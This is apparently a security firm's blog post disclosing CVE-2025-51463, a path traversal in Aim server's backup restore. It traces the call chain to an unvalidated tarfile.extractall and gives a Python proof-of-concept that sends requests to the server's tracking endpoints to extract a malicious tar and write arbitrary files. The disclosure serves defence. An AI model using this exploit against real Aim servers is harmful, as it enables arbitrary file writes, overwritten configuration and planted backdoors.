Skip to content
CVE-2025-51463: Aim Path Traversal in Server Backup Restoration

CVE-2025-51463: Aim Path Traversal in Server Backup Restoration

Grayscale portrait of a young man looking left, wearing a striped lanyard, with an olive green dot pattern background.Artemiy Malyshau· Co-founder & CTO1 min read

Key takeaways

  • A path traversal vulnerability was found in AIM server.
  • The vulnerability exists in the following function call chain:

The following vulnerability was found using Gecko and validated by security researchers.

(Some Image Maybe?)

Repo: https://github.com/aimhubio/aim Version: 3.28.0 Severity: High (7.0/10) CVE: CVE-2025-51463[https://github.com/advisories/GHSA-6gj6-5cm3-g43x]

Description#

A path traversal vulnerability was found in AIM server. This vulnerability allows remote attackers to write arbitrary files on the server’s filesystem via a malicious tar file extraction. The vulnerability exists due to a lack of proper path validation when extracting backup tar archives in the restore_run_backup function.

Source - Sink Analysis#

The vulnerability exists in the following function call chain:

  1. Source: Client.run_instruction() in aim/ext/transport/client.py
  • Entry point for remote method execution that accepts untrusted input: pythonCopy<code class=“hljs language-python”><span class=“hljs-keyword”>def</span> <span class=“hljs-title function_“>run_instruction</span>(<span class=“hljs-params”>self, queue_id, resource, method, args=(<span class=“hljs-params”></span>), is_write_only=<span class=“hljs-literal”>False</span></span>): </code>
  1. Intermediate: RemoteRepoProxy._restore_run() in aim/sdk/remote_repo_proxy.py
  • Proxies restore request to repo instance with unsanitized hash parameter: pythonCopy<code class=“hljs language-python”><span class=“hljs-keyword”>def</span> <span class=“hljs-title function_”>_restore_run</span>(<span class=“hljs-params”>self, hash_</span>): </code>
  1. Intermediate: Repo._restore_run() in aim/sdk/repo.py
  • Handles run restore operation and passes unsanitized run_hash: pythonCopy<code class=“hljs language-python”><span class=“hljs-keyword”>def</span> <span class=“hljs-title function_”>_restore_run</span>(<span class=“hljs-params”>self, run_hash</span>): </code>
  1. Sink: restore_run_backup() in aim/sdk/utils.py
  • Vulnerable tarfile extraction without path validation: pythonCopy<code class=“hljs language-python”><span class=“hljs-keyword”>with</span> tarfile.<span class=“hljs-built_in”>open</span>(run_bcp_file, <span class=“hljs-string”>‘r:gz’</span>) <span class=“hljs-keyword”>as</span> tar: tar.extractall() </code>

Proof of Concept#

<code class="hljs language-python"><span class="hljs-keyword">def</span> <span class="hljs-title function_">exploit</span>():
    client_id = <span class="hljs-built_in">str</span>(uuid.uuid4())
    unique_id = uuid.uuid4().<span class="hljs-built_in">hex</span>[:<span class="hljs-number">8</span>]
    target_file = <span class="hljs-string">f"/tmp/aim_vuln_proof_<span class="hljs-subst">{unique_id}</span>.txt"</span>
    
    <span class="hljs-keyword">if</span> os.path.exists(target_file):
        os.remove(target_file)
        
    content = <span class="hljs-string">f"AIM Path Traversal Vulnerability PoC\nTimestamp: <span class="hljs-subst">{time.time()}</span>\nID: <span class="hljs-subst">{unique_id}</span>\n"</span>
    
    <span class="hljs-built_in">print</span>(<span class="hljs-string">f"Creating exploit for AIM server at <span class="hljs-subst">{AIM_SERVER}</span>"</span>)
    <span class="hljs-built_in">print</span>(<span class="hljs-string">f"Target file: <span class="hljs-subst">{target_file}</span>"</span>)
    
    <span class="hljs-comment"># create malicious tar file</span>
    tar_path = create_malicious_tar(target_file, content)
    <span class="hljs-built_in">print</span>(<span class="hljs-string">f"Created malicious tar: <span class="hljs-subst">{tar_path}</span>"</span>)
    
    <span class="hljs-comment"># create repo resource</span>
    resource_url = <span class="hljs-string">f"http://<span class="hljs-subst">{AIM_SERVER}</span>/tracking/<span class="hljs-subst">{client_id}</span>/get-resource/"</span>
    response = requests.post(
        resource_url,
        json={
            <span class="hljs-string">"resource_handler"</span>: <span class="hljs-string">"repo"</span>,
            <span class="hljs-string">"resource_type"</span>: <span class="hljs-string">"Repo"</span>,
            <span class="hljs-string">"args"</span>: encode_args({})
        }
    )
    
    <span class="hljs-keyword">if</span> response.status_code != <span class="hljs-number">200</span>:
        <span class="hljs-built_in">print</span>(<span class="hljs-string">f"[-] Failed to create Repo resource: <span class="hljs-subst">{response.text}</span>"</span>)
        <span class="hljs-keyword">return</span> <span class="hljs-literal">False</span>
        
    repo_handler = response.json()[<span class="hljs-string">"handler"</span>]
    <span class="hljs-built_in">print</span>(<span class="hljs-string">f"Created Repo resource: <span class="hljs-subst">{repo_handler}</span>"</span>)
    
    <span class="hljs-comment"># set repo path to /tmp</span>
    instruction_url = <span class="hljs-string">f"http://<span class="hljs-subst">{AIM_SERVER}</span>/tracking/<span class="hljs-subst">{client_id}</span>/read-instruction/"</span>
    response = requests.post(
        instruction_url,
        json={
            <span class="hljs-string">"resource_handler"</span>: repo_handler,
            <span class="hljs-string">"method_name"</span>: <span class="hljs-string">"path.setter"</span>,
            <span class="hljs-string">"args"</span>: encode_args([<span class="hljs-string">"/tmp"</span>])
        }
    )
    
    <span class="hljs-keyword">if</span> response.status_code != <span class="hljs-number">200</span>:
        <span class="hljs-built_in">print</span>(<span class="hljs-string">f"[-] Failed to set repo path: <span class="hljs-subst">{response.text}</span>"</span>)
        <span class="hljs-keyword">return</span> <span class="hljs-literal">False</span>
    
    <span class="hljs-built_in">print</span>(<span class="hljs-string">f"Set repo path to /tmp"</span>)
    
    <span class="hljs-comment"># create bcp directory</span>
    bcp_dir = <span class="hljs-string">"/tmp/bcp"</span>
    os.makedirs(bcp_dir, exist_ok=<span class="hljs-literal">True</span>)
    
    <span class="hljs-comment"># copy malicious tar to bcp directory</span>
    run_hash = <span class="hljs-string">f"exploit_<span class="hljs-subst">{unique_id}</span>"</span>
    bcp_tar_path = os.path.join(bcp_dir, run_hash)
    shutil.copy(tar_path, bcp_tar_path)
    <span class="hljs-built_in">print</span>(<span class="hljs-string">f"Copied malicious tar to <span class="hljs-subst">{bcp_tar_path}</span>"</span>)
    
    <span class="hljs-comment"># trigger vulnerability via _restore_run</span>
    <span class="hljs-built_in">print</span>(<span class="hljs-string">f"Triggering vulnerability..."</span>)
    response = requests.post(
        instruction_url,
        json={
            <span class="hljs-string">"resource_handler"</span>: repo_handler,
            <span class="hljs-string">"method_name"</span>: <span class="hljs-string">"_restore_run"</span>,
            <span class="hljs-string">"args"</span>: encode_args([run_hash])
        }
    )
    
    <span class="hljs-comment"># verify exploit success</span>
    <span class="hljs-keyword">if</span> os.path.exists(target_file):
        <span class="hljs-keyword">with</span> <span class="hljs-built_in">open</span>(target_file, <span class="hljs-string">"r"</span>) <span class="hljs-keyword">as</span> f:
            file_content = f.read()
            
        <span class="hljs-built_in">print</span>(<span class="hljs-string">f"Successfully created file: <span class="hljs-subst">{target_file}</span>"</span>)
        <span class="hljs-built_in">print</span>(<span class="hljs-string">f"Content: <span class="hljs-subst">{file_content.strip()}</span>"</span>)
        <span class="hljs-keyword">return</span> <span class="hljs-literal">True</span>
    <span class="hljs-keyword">else</span>:
        <span class="hljs-built_in">print</span>(<span class="hljs-string">f"Exploit failed - target file not created"</span>)
        <span class="hljs-keyword">return</span> <span class="hljs-literal">False</span>
</code>

Impact#

Attackers can:

  • Write arbitrary files to any location on the filesystem where the AIM server process has write access.
  • Overwrite critical system files or application configurations.
  • Create backdoors or establish persistence on the affected system.
Grayscale portrait of a young man looking left, wearing a striped lanyard, with an olive green dot pattern background.

Artemiy Malyshau

Co-founder & CTO

Artemiy served in an elite unit of the Austrian Cyber Forces, defending national infrastructure He was then the first employee at a government-backed cybersecurity research group, where he led security projects for Interpol and national governments. At Gecko he builds the platform trusted to sit inside Fortune 500 codebases, and holds it to the standard those governments taught him.

Frequently asked questions

Related content

The latest news, technologies, and resources from our team.

Subscribe to the Gecko Security newsletter

Occasional updates, new content, and insights. No spam; unsubscribe anytime.

We use your email only to send you our newsletter. See our privacy policy for how we handle your data. You can unsubscribe at any time.